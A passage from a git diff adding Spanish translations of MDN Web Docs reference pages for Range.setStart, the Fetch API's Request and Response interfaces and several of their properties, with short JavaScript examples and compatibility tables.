+ <dd>Un entero mayor o igual a cero representando el offset o desplazamiento de caracteres para el inicio del {{ domxref("Range") }} desde el comienzo de <code>startNode</code>.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js">var range = document.createRange();
+var startNode = document.getElementsByTagName("p").item(2);
+var startOffset = 0;
+range.setStart(startNode,startOffset);
+</pre>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-range-setstart', 'Range.setStart()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Sin cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-setStart', 'Range.setStart()')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Especificación inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/es/web/api/request/headers/index.html b/files/es/web/api/request/headers/index.html
new file mode 100644
index 0000000000..e36f914087
--- /dev/null
+++ b/files/es/web/api/request/headers/index.html
@@ -0,0 +1,68 @@
+---
+title: Request.headers
+slug: Web/API/Request/headers
+translation_of: Web/API/Request/headers
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>La propiedad de solo lectura <strong>headers</strong> de la interface {{domxref("Request")}} es un objeto de tipo {{domxref("Headers")}}, asociado a la petición.</p>
+
+<h2 id="Sintax">Sintax</h2>
+
+<pre class="syntaxbox">var <var>myHeaders</var> = <var>request</var>.headers;</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un objeto de tipo {{domxref("Headers")}}.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En el siguiente fragmento de código, crearemos una nueva petición utilizando el constructor del {{domxref("Request.Request()")}} (para un archivo de imagen ubicado en el mismo directorio del script), guardamos el encabezado de la petición en una variable:</p>
+
+<pre class="brush: js">var myRequest = new Request('flowers.jpg');
+var myHeaders = myRequest.headers; // Headers {}</pre>
+
+<p>Para agregar encabezados al objeto {{domxref("Headers")}} usamos {{domxref("Headers.append")}}; creamos una nueva petición usando el parametro init del constructor y asignamos los encabezados como una opción del parametro init:</p>
+
+<pre class="brush: js">var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'image/jpeg');
+
+var myInit = { method: 'GET',
+                   headers: myHeaders,
+                   mode: 'cors',
+                   cache: 'default' };
+
+var myRequest = new Request('flowers.jpg',myInit);
+
+myContentType = myRequest.headers.get('Content-Type'); // returns 'image/jpeg'</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-request-headers','headers')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.Request.headers")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/es/web/api/request/index.html b/files/es/web/api/request/index.html
new file mode 100644
index 0000000000..770647619e
--- /dev/null
+++ b/files/es/web/api/request/index.html
@@ -0,0 +1,170 @@
+---
+title: Request
+slug: Web/API/Request
+tags:
+  - API
+  - Experimental
+  - Fetch
+  - Fetch API
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - request
+translation_of: Web/API/Request
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>La interfaz <strong><code>Request</code></strong> de la <a href="/en-US/docs/Web/API/Fetch_API">API Fetch</a> representa una solicitud de respuesta.</p>
+
+<p>Puedes crear un nuevo objeto <code>Request</code> usando el constructor {{domxref("Request.Request()")}}, pero es preferible encontrar un objeto <code>Request</code> que sea devuelto como el resultado de otra operacion API, como un operador de servicio {{domxref("FetchEvent.request")}}.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("Request.Request()")}}</dt>
+ <dd>Crea un nuevo objeto <code>Request</code>.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("Request.method")}} {{readonlyInline}}</dt>
+ <dd>Contiene el metodo de solicitud (<code>GET</code>, <code>POST</code>, etc.)</dd>
+ <dt>{{domxref("Request.url")}} {{readonlyInline}}</dt>
+ <dd>Contiene la URL de la solicitud.</dd>
+ <dt>{{domxref("Request.headers")}} {{readonlyInline}}</dt>
+ <dd>Contiene el objeto asociado de la solicitud {{domxref("Headers")}}</dd>
+ <dt>{{domxref("Request.context")}} {{readonlyInline}} {{deprecated_inline()}}</dt>
+ <dd>Contiene el contexto de la solicitud (p.ej., <code>audio</code>, <code>image</code>, <code>iframe</code>, etc.)</dd>
+ <dt>{{domxref("Request.referrer")}} {{readonlyInline}}</dt>
+ <dd>Contiene la referencia de la soliditud (p.ej., <code>client</code>).</dd>
+ <dt>{{domxref("Request.referrerPolicy")}} {{readonlyInline}}</dt>
+ <dd>Contiene la política de referencia de la solicitud (p.ej., <code>no-referrer</code>).</dd>
+ <dt>{{domxref("Request.mode")}} {{readonlyInline}}</dt>
+ <dd>Contiene el modo de la solicitud. (p.ej., <code>cors</code>, <code>no-cors</code>, <code>same-origin</code>, <code>navigate</code>.)</dd>
+ <dt>{{domxref("Request.credentials")}} {{readonlyInline}}</dt>
+ <dd>Contiene las credenciales de la solicitud (p.ej., <code>omit</code>, <code>same-origin</code>).</dd>
+ <dt>{{domxref("Request.redirect")}} {{readonlyinline}}</dt>
+ <dd>Contiene el modo de cómo son manipuladas las redirecciones. Puede ser <code>follow</code>, <code>error</code>, o <code>manual</code>.</dd>
+ <dt>{{domxref("Request.integrity")}} {{readonlyInline}}</dt>
+ <dd>Contiene el valor del subrecurso de integridad (<a href="/en-US/docs/Web/Security/Subresource_Integrity">subresource integrity</a>) de la solicitud (p.ej., <code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>).</dd>
+ <dt>{{domxref("Request.cache")}} {{readonlyInline}}</dt>
+ <dd>Contiene el modo de caché de la solicitud (p.ej., <code>default</code>, <code>reload</code>, <code>no-cache</code>).</dd>
+</dl>
+
+<p><code>Request</code> implementa {{domxref("Body")}}, por lo que también tiene las siguientes propiedades disponibles:</p>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>Un simple getter usado para exponer un contenido del cuerpo {{domxref("ReadableStream")}}</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>Almacena un {{domxref("Boolean")}} que declara si ya se ha usado el cuerpo en una respuesta.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("Request.clone()")}}</dt>
+ <dd>Crea una copia del objeto actual <code>Request</code>.</dd>
+</dl>
+
+<p><code>Request</code> implementa {{domxref("Body")}}, por lo que también tiene los siguientes métodos disponibles:</p>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Devuelve una promesa que se resuelve con una representación {{domxref("ArrayBuffer")}} del cuerpo de la solicitud.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Devuelve una promesa que se resuelve con una representación {{domxref("Blob")}} del cuerpo de la solicitud.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Devuelve una promesa que se resuelve con una representación {{domxref("FormData")}} del cuerpo de la solicitud.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Devuelve una promesa que se resuelve con una representación {{domxref ("JSON")}} del cuerpo de la solicitud.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Devuelve una promesa que se resuelve con una representación {{domxref("USVString")}} (text) del cuerpo de la solicitud.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Nota</strong>: Las funciones {{domxref("Body")}} solo pueden ser ejecutadas una vez; Las siguientes llamadas se resolverán con strings/ArrayBuffers vacíos.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En el siguiente fragmento de código, creamos una nueva solicitud utilizando el constructor <code>Request()</code> (para un archivo de imagen en el mismo directorio que el script),  luego devolvemos algunos valores de propiedad de la solicitud:</p>
+
+<pre class="brush: js">const myRequest = new Request('http://localhost/flowers.jpg');
+
+const myURL = myRequest.url; // http://localhost/flowers.jpg
+const myMethod = myRequest.method; // GET
+const myCred = myRequest.credentials; // omit
+</pre>
+
+<p>Puede obtener esta solicitud pasando el objeto <code>Request</code> como parámetro a una llamada {{domxref("GlobalFetch.fetch()")}}, por ejemplo:</p>
+
+<pre class="brush: js">fetch(myRequest)
+  .then(response =&gt; response.blob())
+  .then(blob =&gt; {
+    myImage.src = URL.createObjectURL(blob);
+  });</pre>
+
+<p>En el siguiente fragmento de código, creamos una nueva solicitud utilizando el constructor <code>Request()</code> con algunos datos iniciales y contenido del cuerpo para una solicitud de API que necesita una carga útil del cuerpo:</p>
+
+<pre class="brush: js">const myRequest = new Request('http://localhost/api', {method: 'POST', body: '{"foo":"bar"}'});
+
+const myURL = myRequest.url; // http://localhost/api
+const myMethod = myRequest.method; // POST
+const myCred = myRequest.credentials; // omit
+const bodyUsed = myRequest.bodyUsed; // true
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> El tipo de cuerpo solo puede ser {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}} o tipo {{domxref("ReadableStream")}}, así que para añadir un objeto JSON a la carga útil, necesitas convertir a string (stringify) dicho objeto.</p>
+</div>
+
+<p>Puede obtener esta solicitud de API pasando el objeto <code>Request</code> como parámetro a una llamada {{domxref("GlobalFetch.fetch()")}}, por ejemplo, y obtener la respuesta:</p>
+
+<pre class="brush: js">fetch(myRequest)
+  .then(response =&gt; {
+    if (response.status === 200) {
+      return response.json();
+    } else {
+      throw new Error('Something went wrong on api server!');
+    }
+  })
+  .then(response =&gt; {
+    console.debug(response);
+    // ...
+  }).catch(error =&gt; {
+    console.error(error);
+  });</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#request-class','Request')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+
+
+<p>{{Compat("api.Request")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/es/web/api/response/index.html b/files/es/web/api/response/index.html
new file mode 100644
index 0000000000..11e18a501c
--- /dev/null
+++ b/files/es/web/api/response/index.html
@@ -0,0 +1,128 @@
+---
+title: Response
+slug: Web/API/Response
+tags:
+  - API
+  - Experimental
+  - Fetch
+  - Interface
+  - Referencia
+  - Respuesta
+translation_of: Web/API/Response
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p>La interfaz <strong><code>Response</code></strong> de la <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> representa la respuesta a una petición.</p>
+
+<p>Tú puedes crear un nuevo objeto <code>Response</code> usando el  constructor{{domxref("Response.Response()")}}, pero es más probable encontrar un objeto Response siendo devuelto como resultado de la operación de otra API, por ejemplo un service worker {{domxref("Fetchevent.respondWith")}}, o un simple {{domxref("GlobalFetch.fetch()")}}.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("Response.Response","Response()")}}</dt>
+ <dd>Crea un nuevo objeto <code>Response</code>.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("Response.headers")}} {{readonlyinline}}</dt>
+ <dd>Contiene el objeto {{domxref("Headers")}} asociado con la respuesta.</dd>
+ <dt>{{domxref("Response.ok")}} {{readonlyinline}}</dt>
+ <dd>Contiene un estado indicando si la respuesta fue exitosa (estado en el rango  200-299) o no.</dd>
+ <dt>{{domxref("Response.redirected")}} {{ReadOnlyInline}}</dt>
+ <dd>Indica si la respuesta es o no el resultado de una redirección; eso es, su lista de URL tiene más de una entrada.</dd>
+ <dt>{{domxref("Response.status")}} {{readonlyinline}}</dt>
+ <dd>Contiene el código de estado de la respuesta (e.g., <code>200</code> si fue exitosa).</dd>
+ <dt>{{domxref("Response.statusText")}} {{readonlyinline}}</dt>
+ <dd>Contiene el mensaje de estado correspondiente al código de estado (e.g., <code>OK</code> para el Código <code>200</code>).</dd>
+ <dt>{{domxref("Response.type")}} {{readonlyinline}}</dt>
+ <dd>Contiene el tipo de respuesta (e.g., <code>basic</code>, <code>cors</code>).</dd>
+ <dt>{{domxref("Response.url")}} {{readonlyinline}}</dt>
+ <dd>Contiene la URL de respuesta.</dd>
+ <dt>{{domxref("Response.useFinalURL")}}</dt>
+ <dd>Contiene un valor booleano indicando si ésta es la URL final de respuesta.</dd>
+</dl>
+
+<p><code>Response</code> implementa {{domxref("Body")}}, de modo que además contiene las propiedades que se detallan a continuación:</p>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>Un simple método get que expone un {{domxref("ReadableStream")}} de los contenidos del body.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>Almacena un {{domxref("Boolean")}}  en el cuál declara si el body ya fue enviado como respuesta anteriormente.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Response.clone()")}}</dt>
+ <dd>Clona un Objeto Respuesta.</dd>
+ <dt>{{domxref("Response.error()")}}</dt>
+ <dd>Devuelve un nuevo objeto Respuesta asociado a un error de red.</dd>
+ <dt>{{domxref("Response.redirect()")}}</dt>
+ <dd>Crea una nueva respuesta con un URL distinto.</dd>
+ <dd><code>Response</code> iimplementa {{domxref("Body")}}, de modo que además contiene los métodos que se detallan a continuación:</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Toma un flujo {{domxref("Response")}} y lo lee hasta completarlo. Devuelve una promesa que resuelve con un {{domxref("ArrayBuffer")}}.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Toma un flujo {{domxref("Response")}} y lo lee hasta completarlo. Devuelve una promesa que resuelve con un {{domxref("Blob")}}.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Toma un flujo {{domxref("Response")}} y lo lee hasta completarlo. Devuelve una promesa que resuelve con un objeto {{domxref("FormData")}}.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Recibe un flujo {{domxref("Response")}} y lo lee hasta completarlo. Devuelve una promesa que resuelve como {{jsxref("JSON")}} el texto del Body enviado.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Recibe un flujo {{domxref("Response")}} y lo lee hasta completarlo. Devuelve una promesa que resuelve con un {{domxref("USVString")}} (texto).</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>En nuestro <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/basic-fetch">ejemplo básico de ferch</a> (<a href="http://mdn.github.io/fetch-examples/basic-fetch/">ejecutar el ejemplo</a>) usamos una llamada <code>fetch()</code> para descargar una imagen y mostrarla en una etiqueta {{htmlelement("img")}} . La llamda a <code>fetch()</code> call devuelve una promesa, la cual resuelve a un objeto<code>Response</code> asociado a la operación fetch.</p>
+
+<p>Observa como ya que lo que estamos solicitando es una imagen, necesitamos ejecutar {{domxref("Body.blob")}} ({{domxref("Response")}} implements body) para darle a la respuesta su tipo MIME correcto.</p>
+
+<pre class="brush: js notranslate">var myImage = document.querySelector('.my-image');
+fetch('flowers.jpg').then(function(response) {
+  return response.blob();
+}).then(function(blob) {
+  var objectURL = URL.createObjectURL(blob);
+  myImage.src = objectURL;
+});</pre>
+
+<p>También puedes usar el constructor {{domxref("Response.Response()")}} para crear tus objetos <code>Response</code> personalizados:</p>
+
+<pre class="brush: js notranslate">var myResponse = new Response();</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#response-class','Response')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+
+
+<p>{{Compat("api.Response")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/es/web/api/response/ok/index.html b/files/es/web/api/response/ok/index.html
new file mode 100644
index 0000000000..1bff7fe5db
--- /dev/null
+++ b/files/es/web/api/response/ok/index.html
@@ -0,0 +1,66 @@
+---
+title: Response.ok
+slug: Web/API/Response/ok
+translation_of: Web/API/Response/ok
+---
+<div>{{APIRef("Fetch")}}<br>
+La propiedad de solo lectura <code><strong>ok</strong></code> de la interfaz {{domxref("Response")}} contiene un Booleano que indica si la respuesta fue exitosa (estado en un rango de 200 a 299)  o no.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <var>miOK</var> = <var>respuesta</var>.ok;</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un {{domxref("Boolean")}}.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En nuestro <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-response">ejemplo de Fetch Response</a> (véase <a href="http://mdn.github.io/fetch-examples/fetch-response/">Fetch Response en vivo</a>) creamos un nuevo {{domxref("Request")}} usando el constructor {{domxref("Request.Request","Request()")}}, pasando una ruta a un JPG. Luego traemos esta petición usando {{domxref("GlobalFetch.fetch","fetch()")}}, extraemos un blob de la respuesta usando {{domxref("Body.blob")}}, creamos un objeto URL usando {{domxref("URL.createObjectURL")}}, y mostrar esto en un {{htmlelement("img")}}.</p>
+
+<div class="note">
+<p><strong>Nota:</strong>  en la parte superior del bloque de <code>fetch()</code> imprimimos el valor de <code>ok</code> en la consola.</p>
+</div>
+
+<pre class="brush: js">var imagen = document.querySelector('img');
+
+var peticion = new Request('flowers.jpg');
+
+fetch(peticion).then(function(respuesta) {
+  console.log(respuesta.ok); //retorna true si la respuesta fue exitosa
+  respuesta.blob().then(function(miBlob) {
+    var objectoURL = URL.createObjectURL(miBlob);
+    imagen.src = objectURL;
+  });
+});</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+
+
+<p>{{Compat("api.Response.ok")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/es/web/api/response/response/index.html b/files/es/web/api/response/response/index.html
new file mode 100644
index 0000000000..f967d677f2
--- /dev/null
+++ b/files/es/web/api/response/response/index.html
@@ -0,0 +1,75 @@
+---
+title: Response()
+slug: Web/API/Response/Response
+translation_of: Web/API/Response/Response
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>El constructor <code><strong>Response()</strong></code> crea un nuevo objeto {{domxref("Response")}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <var>miRespuesta</var> = new Response(<var>cuerpo</var>,<em>opciones</em>);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em>cuerpo</em> {{optional_inline}}</dt>
+ <dd>Un objeto que define el cuerpo de la respuesta. Puede ser <code>null</code>, o uno de los siguientes elementos:
+ <ul>
+  <li>{{domxref("Blob")}}</li>
+  <li>{{domxref("BufferSource")}}</li>
+  <li>{{domxref("FormData")}}</li>
+  <li>{{domxref("ReadableStream")}}</li>
+  <li>{{domxref("URLSearchParams")}}</li>
+  <li>{{domxref("USVString")}}</li>
+ </ul>
+ </dd>
+ <dt><em>opciones</em> {{optional_inline}}</dt>
+ <dd>Un objeto que contiene las opciones de personalización para la respuesta HTTP. Las opciones posibles son:
+ <ul>
+  <li><code>status</code>: El código de estado HTTP, p.e.: <code>200</code>.</li>
+  <li><code>statusText</code>: El mensaje de estado asociado con el código de estado HTTP, p.e.: <code>OK</code>.</li>
+  <li><code>headers</code>: Cualquier cabecera que quieras añadir a la respuesta. Puede ser un objeto {{domxref("Headers")}} o un objeto literal de {{domxref("ByteString")}} pares claves/valor (ver <a href="/en-US/docs/Web/HTTP/Headers">Cabeceras HTTP</a> para más información).</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En nuestro <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-response">ejemplo Fetch Response</a> (ver <a href="http://mdn.github.io/fetch-examples/fetch-response/">Fetch Response live</a>) creamos un nuevo objeto <code>Response</code> usando el constructor, pasándole un nuevo objeto {{domxref("Blob")}} como cuerpo, y un objeto con <code>status</code> y<code>statusText</code> como opciones:</p>
+
+<pre class="brush: js">var miBlob = new Blob();
+var opciones = { "status" : 200 , "statusText" : "Flipante!" };
+var miRespuesta = new Response(miBlob,opciones);</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-response','Response()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página está generada a partir de datos estructurados. Si deseas contribuir a los datos, por favor échale un vistazo a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</div>
+
+<p>{{Compat("api.Response.Response")}}</p>
+
+<h2 id="Relacionado">Relacionado</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/es/web/api/response/status/index.html b/files/es/web/api/response/status/index.html
new file mode 100644
index 0000000000..eecaf02967
--- /dev/null
+++ b/files/es/web/api/response/status/index.html
@@ -0,0 +1,73 @@
+---
+title: Response.status
+slug: Web/API/Response/status
+tags:
+  - API
+  - Experimental
+  - Fetch
+  - Property
+  - Reference
+  - Response
+  - status
+translation_of: Web/API/Response/status
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>La propiedad de solo lectura <strong><code>status</code></strong> de la interfaz {{domxref("Response")}} contiene el código de estado de la respuesta (ejm., <code>200</code> para un éxito).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <var>myStatus</var> = <var>response</var>.status;</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un número (para ser preciso, uno corto sin signo).</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En nuestro <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-response">ejemplo Fetch Response</a> (ver <a href="http://mdn.github.io/fetch-examples/fetch-response/">Fetch Response en vivo</a>) nosotros creamos un nuevo objeto {{domxref("Request")}} usando el constructor {{domxref("Request.Request","Request()")}}, pasándole una ruta JPG. Luego buscamos esta solicitud usando  {{domxref("GlobalFetch.fetch","fetch()")}}, extraemos un blob de la respuesta usando {{domxref("Body.blob")}}, creamos un objeto URL fuera de ella usando {{domxref("URL.createObjectURL")}}, y mostramos esto en un {{htmlelement("img")}}.</p>
+
+<p>Tenga en cuenta que en la parte superior del bloque  <code>fetch()</code> registramos el valor de la respuesta  <code>status</code> en la consola.</p>
+
+<pre class="brush: js">var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  console.log(response.status); // returns 200
+  response.blob().then(function(myBlob) {
+    var objectURL = URL.createObjectURL(myBlob);
+    myImage.src = objectURL;
+  });
+});</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-response-status','status')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir a los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de extracción.</div>
+
+<p>{{Compat("api.Response.status")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">API de Servicio Worker</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">Control de acceso HTTP (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/es/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/es/web/api/rtcpeerconnection/cantrickleicecandidates/index.html
new file mode 100644
index 0000000000..d455433b6c
--- /dev/null
+++ b/files/es/web/api/rtcpeerconnection/cantrickleicecandidates/index.html
@@ -0,0 +1,87 @@
+---
+title: RTCPeerConnection.canTrickleIceCandidates
+slug: Web/API/RTCPeerConnection/canTrickleIceCandidates
+translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates
+---
+<div>{{APIRef("WebRTC")}}</div>
+
